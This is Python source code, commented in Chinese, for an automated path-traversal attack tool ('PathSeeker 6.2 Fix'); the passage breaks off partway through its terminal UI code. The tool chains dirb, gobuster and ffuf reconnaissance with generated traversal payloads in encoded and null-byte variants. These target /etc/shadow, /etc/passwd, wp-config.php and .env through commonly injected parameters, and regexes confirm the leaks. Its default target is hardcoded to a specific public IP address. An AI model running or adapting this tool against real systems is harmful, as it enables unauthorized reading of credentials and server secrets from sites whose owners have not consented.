#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
PathSeeker 6.2 Fix - 智能参数注入版
====================================


核心修复：
✓ 自动对发现的路径进行遍历测试
✓ 智能参数注入（file/path/doc/page等）
✓ 无参数URL强制检测
✓ 多入口点扫描

版本: 6.2.0
更新: 2025-01-20
"""

import sys
import os
import time
import json
import re
import random
import threading
import signal
import urllib3
import argparse
import requests
import subprocess
import shutil
import tempfile
import queue
from pathlib import Path
from urllib.parse import urlparse, parse_qs, urlencode, urlunparse, urljoin
from concurrent.futures import ThreadPoolExecutor, as_completed
from datetime import datetime
from collections import defaultdict
from colorama import Fore, Style, init

# 条件导入 curses
try:
    import curses
    CURSES_AVAILABLE = True
except ImportError:
    CURSES_AVAILABLE = False

# 初始化
init(autoreset=True)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# ============================================================================
# 全局配置
# ============================================================================

APP_NAME = "PathSeeker 6.2 Fix"
APP_VERSION = "6.2.0"

APP_BANNER = f"""
{Fore.CYAN}╔══════════════════════════════════════════════════════════════════╗
║  {Fore.YELLOW}██████╗  █████╗ ████████╗██╗  ██╗███████╗███████╗██╗  ██╗{Fore.CYAN}  ║
║  {Fore.YELLOW}██╔══██╗██╔══██╗╚══██╔══╝██║  ██║██╔════╝██╔════╝██║ ██╔╝{Fore.CYAN}  ║
║  {Fore.YELLOW}██████╔╝███████║   ██║   ███████║███████╗█████╗  █████╔╝{Fore.CYAN}   ║
║  {Fore.YELLOW}██╔═══╝ ██╔══██║   ██║   ██╔══██║╚════██║██╔══╝  ██╔═██╗{Fore.CYAN}   ║
║  {Fore.YELLOW}██║     ██║  ██║   ██║   ██║  ██║███████║███████╗██║  ██╗{Fore.CYAN}  ║
║  {Fore.YELLOW}╚═╝     ╚═╝  ╚═╝   ╚═╝   ╚═╝  ╚═╝╚══════╝╚══════╝╚═╝  ╚═╝{Fore.CYAN}  ║
║                                                                   ║
║  {Fore.WHITE}Version: 6.2 Fix | Auto Parameter Injection{Fore.CYAN}            ║
╚══════════════════════════════════════════════════════════════════╝{Style.RESET_ALL}
"""

# 常见参数名（用于智能注入）
COMMON_PARAMS = [
    "file", "path", "page", "doc", "document", "folder", "pg", "style",
    "pdf", "template", "php_path", "panel", "cat", "dir", "action",
    "board", "date", "detail", "download", "prefix", "include", "inc",
    "locate", "show", "site", "type", "view", "content", "layout",
    "mod", "conf", "url", "load", "read", "filepath", "filename"
]

# Kali 工具配置
KALI_TOOLS = {
    "gobuster": {
        "name": "Gobuster",
        "description": "高速目录/文件枚举",
        "binary": "gobuster",
        "install_cmd": "apt install gobuster -y",
        "wordlists": [
            "/usr/share/wordlists/dirb/common.txt",
            "/usr/share/wordlists/dirb/small.txt",
            "/usr/share/wordlists/dirbuster/directory-list-2.3-small.txt"
        ]
    },
    "dirb": {
        "name": "Dirb",
        "description": "基于字典的目录爆破",
        "binary": "dirb",
        "install_cmd": "apt install dirb -y",
        "wordlists": [
            "/usr/share/wordlists/dirb/small.txt",
            "/usr/share/wordlists/dirb/common.txt"
        ]
    },
    "ffuf": {
        "name": "ffuf",
        "description": "快速 Web Fuzzer",
        "binary": "ffuf",
        "install_cmd": "apt install ffuf -y",
        "wordlists": [
            "/usr/share/wordlists/dirb/common.txt"
        ]
    }
}

# 检测特征
DETECTION_PATTERNS = {
    "linux_passwd": {
        "patterns": [
            r"root:x:0:0:",
            r"daemon:x:\d+:\d+:",
            r"/bin/bash",
            r"/sbin/nologin",
            r"nobody:x:\d+:\d+:"
        ],
        "confidence": 0.9,
        "description": "Linux /etc/passwd 文件泄露"
    },
    "windows_ini": {
        "patterns": [
            r"\[extensions\]",
            r"\[fonts\]",
            r"\[files\]",
            r"for 16-bit app support"
        ],
        "confidence": 0.9,
        "description": "Windows win.ini 配置文件泄露"
    },
    "apache_config": {
        "patterns": [
            r"<VirtualHost",
            r"DocumentRoot",
            r"ServerName"
        ],
        "confidence": 0.85,
        "description": "Apache 配置文件泄露"
    },
    "nginx_config": {
        "patterns": [
            r"server\s*{",
            r"listen\s+\d+",
            r"root\s+/"
        ],
        "confidence": 0.85,
        "description": "Nginx 配置文件泄露"
    },
    "php_config": {
        "patterns": [
            r"<?php",
            r"\$_SERVER",
            r"mysql_connect",
            r"mysqli_"
        ],
        "confidence": 0.7,
        "description": "PHP 源代码泄露"
    },
    "database_backup": {
        "patterns": [
            r"-- MySQL dump",
            r"INSERT INTO",
            r"CREATE TABLE",
            r"LOCK TABLES"
        ],
        "confidence": 0.85,
        "description": "数据库备份文件泄露"
    }
}

USER_AGENTS = [
    "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
]

if CURSES_AVAILABLE:
    UI_COLORS = {
        "header": (curses.A_BOLD, 3),
        "menu": (curses.A_NORMAL, 7),
        "menu_selected": (curses.A_REVERSE | curses.A_BOLD, 3),
        "info": (curses.A_NORMAL, 6),
        "warning": (curses.A_BOLD, 5),
        "critical": (curses.A_BOLD, 1),
        "success": (curses.A_BOLD, 2),
        "progress": (curses.A_NORMAL, 4),
    }

# ============================================================================
# Kali 工具管理
# ============================================================================

class KaliToolManager:
    """Kali Linux 工具检测与管理"""
    
    @staticmethod
    def check_tool_installed(tool_name):
        tool_config = KALI_TOOLS.get(tool_name)
        if not tool_config:
            return False
        return shutil.which(tool_config["binary"]) is not None
    
    @staticmethod
    def get_available_tools():
        available = {}
        for tool_name, config in KALI_TOOLS.items():
            if KaliToolManager.check_tool_installed(tool_name):
                available[tool_name] = config
        return available
    
    @staticmethod
    def get_wordlist(tool_name):
        tool_config = KALI_TOOLS.get(tool_name, {})
        wordlists = tool_config.get("wordlists", [])
        
        for wordlist in wordlists:
            if os.path.exists(wordlist):
                return wordlist
        
        default_lists = [
            "/usr/share/wordlists/dirb/small.txt",
            "/usr/share/wordlists/dirb/common.txt"
        ]
        
        for wl in default_lists:
            if os.path.exists(wl):
                return wl
        
        return None

# ============================================================================
# 实时日志队列
# ============================================================================

class LogQueue:
    """线程安全的日志队列"""
    
    def __init__(self, maxsize=1000):
        self.queue = queue.Queue(maxsize=maxsize)
        self.scan_logs = []
        self.system_logs = []
    
    def add_scan_log(self, message):
        timestamp = datetime.now().strftime("%H:%M:%S.%f")[:-3]
        log_entry = f"[{timestamp}] {message}"
        self.scan_logs.append(log_entry)
        if len(self.scan_logs) > 100:
            self.scan_logs = self.scan_logs[-100:]
        
        try:
            self.queue.put(("scan", log_entry), block=False)
        except queue.Full:
            pass
    
    def add_system_log(self, message, level="info"):
        timestamp = datetime.now().strftime("%H:%M:%S")
        log_entry = f"[{timestamp}] [{level.upper()}] {message}"
        self.system_logs.append(log_entry)
        if len(self.system_logs) > 50:
            self.system_logs = self.system_logs[-50:]
        
        try:
            self.queue.put(("system", log_entry), block=False)
        except queue.Full:
            pass
    
    def get_recent_scan_logs(self, n=15):
        return self.scan_logs[-n:]
    
    def get_recent_system_logs(self, n=5):
        return self.system_logs[-n:]

# ============================================================================
# Payload 生成引擎
# ============================================================================

class PayloadFactory:
    """智能 Payload 生成器"""
    
    TARGET_FILES = [
        ("etc/passwd", "linux_passwd"),
        ("etc/shadow", "linux_passwd"),
        ("etc/group", "linux_passwd"),
        ("etc/hosts", "linux_passwd"),
        ("proc/version", "linux_passwd"),
        
        ("windows/win.ini", "windows_ini"),
        ("winnt/win.ini", "windows_ini"),
        ("boot.ini", "windows_ini"),
        
        ("etc/apache2/apache2.conf", "apache_config"),
        ("etc/nginx/nginx.conf", "nginx_config"),
        
        ("var/www/html/config.php", "php_config"),
        ("wp-config.php", "php_config"),
        (".env", "php_config"),
        
        ("backup.sql", "database_backup"),
        ("dump.sql", "database_backup"),
    ]
    
    TRAVERSAL_PREFIXES = [
        "../", "..\\", "..%2f", "..%5c",
        "%2e%2e%2f", "%2e%2e%5c", "..%252f",
        "....//", "....\\\\",
    ]
    
    @classmethod
    def generate_payloads(cls, depths=[3, 5, 7], enable_advanced=True):
        """生成遍历 Payload"""
        payloads = []
        prefixes = cls.TRAVERSAL_PREFIXES if enable_advanced else ["../", "..\\"]
        
        for depth in depths:
            for prefix in prefixes:
                traversal = prefix * depth
                
                for file_path, detection_type in cls.TARGET_FILES:
                    p1 = f"{traversal}{file_path}"
                    payloads.append({
                        "payload": p1,
                        "detection_type": detection_type,
                        "description": f"{depth}层遍历 - {file_path}",
                        "method": "basic"
                    })
                    
                    if enable_advanced:
                        p2 = f"{traversal}{file_path}%00"
                        payloads.append({
                            "payload": p2,
                            "detection_type": detection_type,
                            "description": f"Null Byte - {file_path}",
                            "method": "null_byte"
                        })
        
        return payloads

# ============================================================================
# 响应分析引擎
# ============================================================================

class ResponseAnalyzer:
    @staticmethod
    def analyze(content, detection_type, status_code):
        if not content or status_code >= 400:
            return {"vulnerable": False}
        
        rules = DETECTION_PATTERNS.get(detection_type)
        if not rules:
            return {"vulnerable": False}
        
        matched_patterns = []
        for pattern in rules["patterns"]:
            if re.search(pattern, content, re.IGNORECASE):
                matched_patterns.append(pattern)
        
        if matched_patterns:
            confidence = len(matched_patterns) / len(rules["patterns"])
            if len(matched_patterns) >= 2 or confidence >= 0.5:
                return {
                    "vulnerable": True,
                    "confidence": confidence,
                    "matched_patterns": matched_patterns,
                    "description": rules["description"],
                    "content_preview": content[:200]
                }
        
        return {"vulnerable": False}
    
    @staticmethod
    def calculate_severity(confidence):
        if confidence >= 0.9:
            return "紧急"
        elif confidence >= 0.7:
            return "高危"
        elif confidence >= 0.5:
            return "中危"
        else:
            return "低危"

# ============================================================================
# 增强的扫描引擎（修复版）
# ============================================================================

class EnhancedScannerEngine:
    """增强型扫描引擎 - 智能参数注入版"""
    
    def __init__(self, target_url, config, update_callback=None, log_queue=None):
        self.target_url = target_url
        self.config = config
        self.update_callback = update_callback
        self.log_queue = log_queue or LogQueue()
        
        self.vulnerabilities = []
        self.discovered_paths = []
        self.discovered_params = []
        
        self.stop_event = threading.Event()
        self.pause_event = threading.Event()
        self.pause_event.set()
        
        # 使用连接池
        self.session = requests.Session()
        adapter = requests.adapters.HTTPAdapter(
            pool_connections=50,
            pool_maxsize=50,
            max_retries=1
        )
        self.session.mount('http://', adapter)
        self.session.mount('https://', adapter)
        self.session.headers.update({'User-Agent': random.choice(USER_AGENTS)})
        
        self.total_requests = 0
        self.failed_requests = 0
        self.successful_requests = 0
        
        self.current_phase = "准备中"
        self.phase_progress = 0
    
    def log(self, message, level="info", is_scan_log=False):
        if is_scan_log:
            self.log_queue.add_scan_log(message)
        else:
            self.log_queue.add_system_log(message, level)
    
    def update_progress(self):
        if self.update_callback:
            self.update_callback(
                self.successful_requests + self.failed_requests,
                self.total_requests,
                self.vulnerabilities,
                self.current_phase
            )
    
    def phase1_kali_reconnaissance(self):
        """阶段1: Kali 工具侦察"""
        self.current_phase = "阶段1: Kali工具侦察"
        self.log("=" * 60, "info")
        self.log("🔍 阶段 1: Kali 工具侦察", "info")
        self.log("=" * 60, "info")
        
        available_tools = KaliToolManager.get_available_tools()
        
        if not available_tools:
            self.log("⚠️  未检测到可用的 Kali 工具，跳过此阶段", "warning")
            return
        
        # 优先使用 dirb（因为它能快速发现路径）
        preferred_tools = ["dirb", "gobuster", "ffuf"]
        
        for tool_name in preferred_tools:
            if self.stop_event.is_set():
                break
            
            if tool_name not in available_tools:
                continue
            
            self.log(f"🚀 启动工具: {available_tools[tool_name]['name']}", "info")
            
            if tool_name == "gobuster":
                self.run_gobuster_enhanced()
            elif tool_name == "dirb":
                self.run_dirb_enhanced()
            elif tool_name == "ffuf":
                self.run_ffuf_enhanced()
            
            time.sleep(0.5)
        
        self.log(f"✅ 阶段1完成，发现 {len(self.discovered_paths)} 个路径", "success")
    
    def run_dirb_enhanced(self):
        """增强的 Dirb 执行（实时输出）"""
        wordlist = KaliToolManager.get_wordlist("dirb")
        if not wordlist:
            self.log("❌ 未找到字典文件", "error")
            return
        
        parsed = urlparse(self.target_url)
        base_url = f"{parsed.scheme}://{parsed.netloc}"
        
        self.log(f"Dirb: 扫描 {base_url}", is_scan_log=True)
        
        output_file = "/tmp/dirb_output.txt"
        cmd = ["dirb", base_url, wordlist, "-S", "-r", "-o", output_file]
        
        try:
            process = subprocess.Popen(
                cmd,
                stdout=subprocess.PIPE,
                stderr=subprocess.PIPE,
                text=True,
                bufsize=1
            )
            
            for line in iter(process.stdout.readline, ''):
                if self.stop_event.is_set():
                    process.kill()
                    break
                
                line = line.strip()
                if line and ("+ " in line or "==> DIRECTORY:" in line):
                    self.log(f"Dirb: {line}", is_scan_log=True)
                    
                    # 解析发现的路径
                    if "+ " in line:
                        match = re.search(r'\+ (https?://[^\s]+)', line)
                        if match:
                            found_url = match.group(1)
                            parsed_found = urlparse(found_url)
                            
                            self.discovered_paths.append({
                                "tool": "dirb",
                                "url": found_url,
                                "path": parsed_found.path,
                                "status": "200"
                            })
                            self.update_progress()
            
            process.wait(timeout=120)
            self.log(f"✅ Dirb 完成，发现 {len(self.discovered_paths)} 个路径", "success")
        
        except subprocess.TimeoutExpired:
            self.log("⚠️  Dirb 超时", "warning")
            process.kill()
        except Exception as e:
            self.log(f"❌ Dirb 错误: {str(e)}", "error")
    
    def run_gobuster_enhanced(self):
        """增强的 Gobuster 执行"""
        wordlist = KaliToolManager.get_wordlist("gobuster")
        if not wordlist:
            return
        
        parsed = urlparse(self.target_url)
        base_url = f"{parsed.scheme}://{parsed.netloc}"
        
        self.log(f"Gobuster: 扫描 {base_url}", is_scan_log=True)
        
        cmd = [
            "gobuster", "dir",
            "-u", base_url,
            "-w", wordlist,
            "-t", "20",
            "-q",
            "--no-error",
            "-k",
            "--timeout", "5s"
        ]
        
        try:
            process = subprocess.Popen(
                cmd,
                stdout=subprocess.PIPE,
                stderr=subprocess.PIPE,
                text=True,
                bufsize=1
            )
            
            for line in iter(process.stdout.readline, ''):
                if self.stop_event.is_set():
                    process.kill()
                    break
                
                line = line.strip()
                if line and line.startswith("/"):
                    self.log(f"Gobuster: 发现 {line}", is_scan_log=True)
                    
                    parts = line.split()
                    if len(parts) >= 2:
                        path = parts[0]
                        status = parts[1].strip("()")
                        
                        self.discovered_paths.append({
                            "tool": "gobuster",
                            "path": path,
                            "status": status,
                            "url": f"{base_url}{path}"
                        })
                        self.update_progress()
            
            process.wait(timeout=120)
            self.log("✅ Gobuster 完成", "success")
        
        except subprocess.TimeoutExpired:
            self.log("⚠️  Gobuster 超时", "warning")
            process.kill()
        except Exception as e:
            self.log(f"❌ Gobuster 错误: {str(e)}", "error")
    
    def run_ffuf_enhanced(self):
        """增强的 ffuf 执行"""
        wordlist = KaliToolManager.get_wordlist("ffuf")
        if not wordlist:
            return
        
        parsed = urlparse(self.target_url)
        base_url = f"{parsed.scheme}://{parsed.netloc}/FUZZ"
        
        self.log(f"ffuf: 扫描 {base_url}", is_scan_log=True)
        
        cmd = [
            "ffuf",
            "-u", base_url,
            "-w", wordlist,
            "-t", "20",
            "-mc", "200,301,302,403",
            "-fc", "404",
            "-timeout", "5",
            "-s"
        ]
        
        try:
            result = subprocess.run(
                cmd,
                capture_output=True,
                text=True,
                timeout=120
            )
            
            for line in result.stdout.splitlines():
                if line.strip():
                    self.log(f"ffuf: {line.strip()}", is_scan_log=True)
            
            self.log("✅ ffuf 完成", "success")
        
        except subprocess.TimeoutExpired:
            self.log("⚠️  ffuf 超时", "warning")
        except Exception as e:
            self.log(f"❌ ffuf 错误: {str(e)}", "error")
    
    def phase2_native_path_traversal(self):
        """阶段2: 原生路径遍历检测（智能参数注入）"""
        self.current_phase = "阶段2: 路径遍历检测"
        self.log("=" * 60, "info")
        self.log("🎯 阶段 2: 路径遍历检测（智能参数注入）", "info")
        self.log("=" * 60, "info")
        
        # 获取所有测试入口点
        test_urls = self.get_test_entry_points()
        
        if not test_urls:
            self.log("⚠️  没有可测试的入口点", "warning")
            return
        
        self.log(f"📋 共 {len(test_urls)} 个测试入口点", "info")
        
        # 生成 Payload
        payloads = PayloadFactory.generate_payloads(
            depths=[3, 5, 7],
            enable_advanced=self.config.get('enable_encoding_variants', True)
        )
        
        # 计算总任务数
        total_tasks = 0
        for entry in test_urls:
            total_tasks += len(entry['params']) * len(payloads)
        
        self.total_requests = total_tasks
        self.log(f"📦 生成 {len(payloads)} 个 Payload，总计 {total_tasks} 个任务", "info")
        
        if total_tasks == 0:
            self.log("⚠️  没有生成测试任务", "warning")
            return
        
        # 多线程扫描
        max_workers = self.config.get('max_threads', 10)
        
        with ThreadPoolExecutor(max_workers=max_workers) as executor:
            futures = []
            
            for entry in test_urls:
                base_url = entry['base_url']
                params = entry['params']
                
                for param_name in params:
                    for payload in payloads:
                        if self.stop_event.is_set():
                            break
                        
                        future = executor.submit(
                            self.test_single_payload,
                            base_url,
                            {param_name: ''},
                            param_name,
                            payload
                        )
                        futures.append(future)
            
            # 收集结果
            for future in as_completed(futures):
                if self.stop_event.is_set():
                    executor.shutdown(wait=False, cancel_futures=True)
                    break
                
                result = future.result()
                
                if result:
                    # 去重
                    is_duplicate = any(
                        v['payload'] == result['payload'] and v['url'] == result['url']
                        for v in self.vulnerabilities
                    )
                    
                    if not is_duplicate:
                        self.vulnerabilities.append(result)
                        self.log(f"🔥 发现漏洞: {result['type']} (置信度: {result['confidence']})", "critical")
                
                # 实时更新
                self.update_progress()
                
                # 速率限制
                rate_limit = self.config.get('rate_limit', 20)
                time.sleep(1.0 / rate_limit)
        
        self.log(f"✅ 阶段2完成，发现 {len(self.vulnerabilities)} 个漏洞", "success")
    
    def get_test_entry_points(self):
        """获取所有测试入口点（智能参数注入）"""
        entry_points = []
        
        # 1. 原始 URL（如果有参数）
        parsed = urlparse(self.target_url)
        query_params = parse_qs(parsed.query, keep_blank_values=True)
        
        if query_params:
            clean_params = {k: v[0] if v else '' for k, v in query_params.items()}
            base_url = f"{parsed.scheme}://{parsed.netloc}{parsed.path}"
            
            entry_points.append({
                "base_url": base_url,
                "params": clean_params,
                "source": "original_url"
            })
            self.log(f"✓ 原始URL参数: {list(clean_params.keys())}", "info")
        
        # 2. 发现的路径（注入常见参数）
        if self.discovered_paths:
            self.log(f"✓ 对 {len(self.discovered_paths)} 个发现的路径注入参数", "info")
            
            # 每个路径测试前5个常见参数（避免任务爆炸）
            for path_info in self.discovered_paths[:20]:  # 限制20个路径
                url = path_info.get('url')
                if not url:
                    continue
                
                # 为每个路径注入常见参数
                for param in COMMON_PARAMS[:5]:
                    entry_points.append({
                        "base_url": url,
                        "params": {param: ''},
                        "source": f"injected_param_{path_info.get('tool', 'unknown')}"
                    })
        
        # 3. 如果没有发现路径，对根路径注入参数
        if not self.discovered_paths and not query_params:
            self.log("✓ 对根路径注入常见参数", "info")
            
            parsed = urlparse(self.target_url)
            base_url = f"{parsed.scheme}://{parsed.netloc}/"
            
            for param in COMMON_PARAMS[:10]:
                entry_points.append({
                    "base_url": base_url,
                    "params": {param: ''},
                    "source": "root_injection"
                })
        
        self.log(f"📊 共生成 {len(entry_points)} 个测试入口点", "info")
        
        return entry_points
    
    def test_single_payload(self, base_url, params, target_param, payload_obj):
        """测试单个 Payload"""
        if self.stop_event.is_set():
            return None
        
        self.pause_event.wait()
        
        try:
            test_params = params.copy()
            test_params[target_param] = payload_obj['payload']
            
            self.total_requests += 1
            start_time = time.time()
            
            response = self.session.get(
                base_url,
                params=test_params,
                timeout=self.config.get('timeout', 5),
                verify=False,
                allow_redirects=False
            )
            
            elapsed = time.time() - start_time
            
            # 记录日志
            status_color = "✓" if 200 <= response.status_code < 400 else "✗"
            short_payload = payload_obj['payload'][:30]
            log_msg = f"{status_color} [{response.status_code}] {target_param}={short_payload}... ({elapsed:.2f}s)"
            self.log(log_msg, is_scan_log=True)
            
            if 200 <= response.status_code < 400:
                self.successful_requests += 1
                
                # 分析响应
                analysis = ResponseAnalyzer.analyze(
                    response.text,
                    payload_obj['detection_type'],
                    response.status_code
                )
                
                if analysis.get('vulnerable'):
                    severity = ResponseAnalyzer.calculate_severity(analysis['confidence'])
                    
                    return {
                        "url": response.url,
                        "param": target_param,
                        "payload": payload_obj['payload'],
                        "type": analysis['description'],
                        "severity": severity,
                        "confidence": f"{analysis['confidence']*100:.1f}%",
                        "status_code": response.status_code,
                        "content_length": len(response.text),
                        "response_time": f"{elapsed:.2f}s",
                        "matched_patterns": analysis['matched_patterns'][:3],
                        "method": payload_obj.get('method', 'unknown'),
                        "source": "native_engine"
                    }
            else:
                self.failed_requests += 1
        
        except requests.exceptions.Timeout:
            self.failed_requests += 1
            self.log(f"⏱️  超时: {target_param}={payload_obj['payload'][:20]}", is_scan_log=True)
        except requests.exceptions.RequestException:
            self.failed_requests += 1
        except Exception:
            self.failed_requests += 1
        
        return None
    
    def run(self):
        """执行完整扫描流程"""
        try:
            self.log(f"🎯 开始扫描: {self.target_url}", "info")
            
            # 阶段1: Kali 工具侦察
            self.phase1_kali_reconnaissance()
            
            # 阶段2: 原生路径遍历检测（智能参数注入）
            self.phase2_native_path_traversal()
            
            # 完成
            self.current_phase = "扫描完成"
            self.log("=" * 60, "info")
            self.log("✅ 扫描完成！", "success")
            self.log(f"📊 总请求: {self.successful_requests + self.failed_requests}/{self.total_requests}", "info")
            self.log(f"✓ 成功: {self.successful_requests} | ✗ 失败: {self.failed_requests}", "info")
            self.log(f"🎯 发现漏洞: {len(self.vulnerabilities)} 个", "success" if self.vulnerabilities else "info")
            self.log(f"🗂️  发现路径: {len(self.discovered_paths)} 个", "info")
            
            self.update_progress()
        
        except Exception as e:
            self.log(f"❌ 扫描引擎错误: {str(e)}", "error")
            import traceback
            traceback.print_exc()

# ============================================================================
# Curses UI（保持原有逻辑）
# ============================================================================

class EnhancedCursesUI:
    """增强型 Curses UI"""
    
    def __init__(self, config):
        self.config = config
        self.stdscr = None
        self.windows = {}
        self.engine = None
        self.scan_thread = None
        
        self.target_url = "https://60.211.206.180:4433"
        self.current_menu = "main"
        self.selected_item = 0
        self.menu_stack = []
        self.is_scanning = False
        
        self.processed_count = 0
        self.total_tasks = 0
        self.found_vulns = []
        self.start_time = 0
        self.current_phase = "准备中"
        
        self.log_queue = LogQueue()
        self.selected_tools = list(KaliToolManager.get_available_tools().keys())
    
    def init_curses(self):
        try:
            self.stdscr = curses.initscr()
            curses.start_color()
            curses.use_default_colors()
            curses.noecho()
            curses.cbreak()
            self.stdscr.keypad(True)
            curses.curs_set(0)
            self.stdscr.nodelay(True)
            
            for i in range(1, 8):
                curses.init_pair(i, i, -1)
            
            self.create_windows()
            return True
        
        except Exception as e:
            print(f"{Fore.RED}❌ Curses 初始化失败: {str(e)}{Style.RESET_ALL}")
            return False
    
    def end_curses(self):
        if self.stdscr:
            try:
                self.stdscr.nodelay(False)
                curses.nocbreak()
                self.stdscr.keypad(False)
                curses.echo()
                curses.endwin()
            except:
                pass
    
    def create_windows(self):
        h, w = self.stdscr.getmaxyx()
        self.windows['header'] = curses.newwin(3, w, 0, 0)
        self.windows['content'] = curses.newwin(h-12, w, 3, 0)
        self.windows['scan_log'] = curses.newwin(5, w, h-12, 0)
        self.windows['system_log'] = curses.newwin(3, w, h-7, 0)
        self.windows['status'] = curses.newwin(4, w, h-4, 0)
    
    def draw_header(self):
        win = self.windows['header']
        win.erase()
        h, w = win.getmaxyx()
        
        title = f"🛡️  {APP_NAME} 🛡️"
        
        try:
            win.addstr(0, (w-len(title))//2, title, 
                      curses.color_pair(UI_COLORS['header'][1]) | UI_COLORS['header'][0])
            win.addstr(1, (w-50)//2, "智能参数注入 | 自动化遍历检测", 
                      curses.color_pair(UI_COLORS['info'][1]))
            win.addstr(2, 0, "═"*w, curses.color_pair(UI_COLORS['menu'][1]))
        except:
            pass
        
        win.refresh()
    
    def draw_status(self):
        win = self.windows['status']
        win.erase()
        h, w = win.getmaxyx()
        
        try:
            win.addstr(0, 0, "─"*w, curses.color_pair(UI_COLORS['menu'][1]))
            
            if self.is_scanning:
                status_text = f"🔴 扫描中... | {self.current_phase}"
                status_color = UI_COLORS['critical'][1]
            else:
                status_text = "🟢 就绪"
                status_color = UI_COLORS['success'][1]
            
            win.addstr(1, 2, status_text[:w-4], curses.color_pair(status_color))
            
            if self.current_menu == "scanning":
                hints = "[Q]停止 [P]暂停 [B]详情"
            else:
                hints = "[↑/↓]选择 [Enter]确认 [Q]退出"
            
            win.addstr(2, (w-len(hints))//2, hints, curses.color_pair(UI_COLORS['menu'][1]))
            
            time_str = datetime.now().strftime("%H:%M:%S")
            win.addstr(2, w-len(time_str)-2, time_str, curses.color_pair(UI_COLORS['info'][1]))
        except:
            pass
        
        win.refresh()
    
    def draw_scan_log(self):
        win = self.windows['scan_log']
        win.erase()
        h, w = win.getmaxyx()
        
        try:
            win.addstr(0, 2, "📡 实时扫描日志", 
                      curses.color_pair(UI_COLORS['info'][1]) | curses.A_BOLD)
            
            recent_logs = self.log_queue.get_recent_scan_logs(h-1)
            
            for i, log in enumerate(recent_logs):
                if i+1 >= h:
                    break
                
                display_log = log if len(log) < w-4 else log[:w-7] + "..."
                
                if "✓" in log:
                    color = UI_COLORS['success'][1]
                elif "✗" in log:
                    color = UI_COLORS['warning'][1]
                elif "发现" in log or "Dirb:" in log or "Gobuster:" in log:
                    color = UI_COLORS['critical'][1]
                else:
                    color = UI_COLORS['menu'][1]
                
                win.addstr(i+1, 2, display_log, curses.color_pair(color))
        except:
            pass
        
        win.refresh()
    
    def draw_system_log(self):
        win = self.windows['system_log']
        win.erase()
        h, w = win.getmaxyx()
        
        try:
            win.addstr(0, 2, "📋 系统日志", 
                      curses.color_pair(UI_COLORS['warning'][1]) | curses.A_BOLD)
            
            recent_logs = self.log_queue.get_recent_system_logs(h-1)
            
            for i, log in enumerate(recent_logs):
                if i+1 >= h:
                    break
                
                display_log = log if len(log) < w-4 else log[:w-7] + "..."
                
                if "[ERROR]" in log or "[CRITICAL]" in log:
                    color = UI_COLORS['critical'][1]
                elif "[WARNING]" in log:
                    color = UI_COLORS['warning'][1]
                elif "[SUCCESS]" in log:
                    color = UI_COLORS['success'][1]
                else:
                    color = UI_COLORS['info'][1]
                
                win.addstr(i+1, 2, display_log, curses.color_pair(color))
        except:
            pass
        
        win.refresh()
    
    def draw_scan_progress(self):
        win = self.windows['content']
        win.erase()
        h, w = win.getmaxyx()
        
        percent = 0
        if self.total_tasks > 0:
            percent = (self.processed_count / self.total_tasks) * 100
        
        try:
            target_display = self.target_url if len(self.target_url) < w-10 else self.target_url[:w-13] + "..."
            win.addstr(1, 2, f"🎯 目标: {target_display}", curses.color_pair(UI_COLORS['info'][1]))
            
            win.addstr(2, 2, f"📍 阶段: {self.current_phase}", curses.color_pair(UI_COLORS['warning'][1]))
            
            bar_width = w - 20
            filled = int(bar_width * (percent / 100)) if percent > 0 else 0
            bar = "█" * filled + "░" * (bar_width - filled)
            win.addstr(4, 2, f"进度: [{bar}] {percent:.1f}%", 
                      curses.color_pair(UI_COLORS['progress'][1]))
            
            elapsed = time.time() - self.start_time if self.start_time > 0 else 0
            speed = self.processed_count / elapsed if elapsed > 0 else 0
            
            stats1 = f"已完成: {self.processed_count}/{self.total_tasks}"
            stats2 = f"速度: {speed:.1f} req/s"
            stats3 = f"耗时: {elapsed:.1f}s"
            stats4 = f"漏洞: {len(self.found_vulns)}"
            
            win.addstr(6, 2, stats1, curses.color_pair(UI_COLORS['menu'][1]))
            win.addstr(6, 25, stats2, curses.color_pair(UI_COLORS['menu'][1]))
            win.addstr(6, 45, stats3, curses.color_pair(UI_COLORS['menu'][1]))
            win.addstr(6, 65, stats4, curses.color_pair(UI_COLORS['critical'][1]) | curses.A_BOLD)
            
            win.addstr(8, 2, "🔥 发现的漏洞:", 
                      curses.color_pair(UI_COLORS['critical'][1]) | curses.A_BOLD)
            
            row = 9
            for vuln in self.found_vulns[-8:]:
                if row >= h - 2:
                    break
                
                payload_disp = vuln['payload']
                if len(payload_disp) > 25:
                    payload_disp = payload_disp[:22] + "..."
                
                line = f"[{vuln['severity']}] {vuln.get('param', 'N/A')}={payload_disp} ({vuln['confidence']})"
                win.addstr(row, 4, line[:w-6], curses.color_pair(UI_COLORS['critical'][1]))
                row += 1
            
            if not self.is_scanning and self.processed_count >= self.total_tasks and self.total_tasks > 0:
                win.addstr(row+1, 2, "✅ 扫描完成！按 [B] 查看详情或 [E] 导出报告", 
                          curses.color_pair(UI_COLORS['success'][1]))
        except:
            pass
        
        win.refresh()
    
    def draw_menu(self, title, items):
        win = self.windows['content']
        win.erase()
        h, w = win.getmaxyx()
        
        try:
            win.addstr(1, 4, f"📂 {title}", 
                      curses.color_pair(UI_COLORS['header'][1]) | UI_COLORS['header'][0])
            win.addstr(2, 4, "─" * (w-8), curses.color_pair(UI_COLORS['menu'][1]))
            
            for idx, item in enumerate(items):
                if 4 + idx >= h - 1:
                    break
                
                prefix = " ► " if idx == self.selected_item else "   "
                style = UI_COLORS['menu_selected'] if idx == self.selected_item else UI_COLORS['menu']
                
                text = item['text']
                if 'value' in item:
                    if callable(item['value']):
                        value = item['value']()
                    else:
                        value = item['value']
                    text = f"{text}: {value}"
                
                display_text = text if len(text) < w-8 else text[:w-11] + "..."
                win.addstr(4 + idx, 4, f"{prefix}{display_text}", 
                          curses.color_pair(style[1]) | style[0])
        except:
            pass
        
        win.refresh()
    
    def draw_results(self):
        win = self.windows['content']
        win.erase()
        h, w = win.getmaxyx()
        
        try:
            win.addstr(1, 2, "📊 扫描报告", 
                      curses.color_pair(UI_COLORS['header'][1]) | UI_COLORS['header'][0])
            win.addstr(2, 2, "─" * (w-4), curses.color_pair(UI_COLORS['menu'][1]))
            
            if not self.found_vulns:
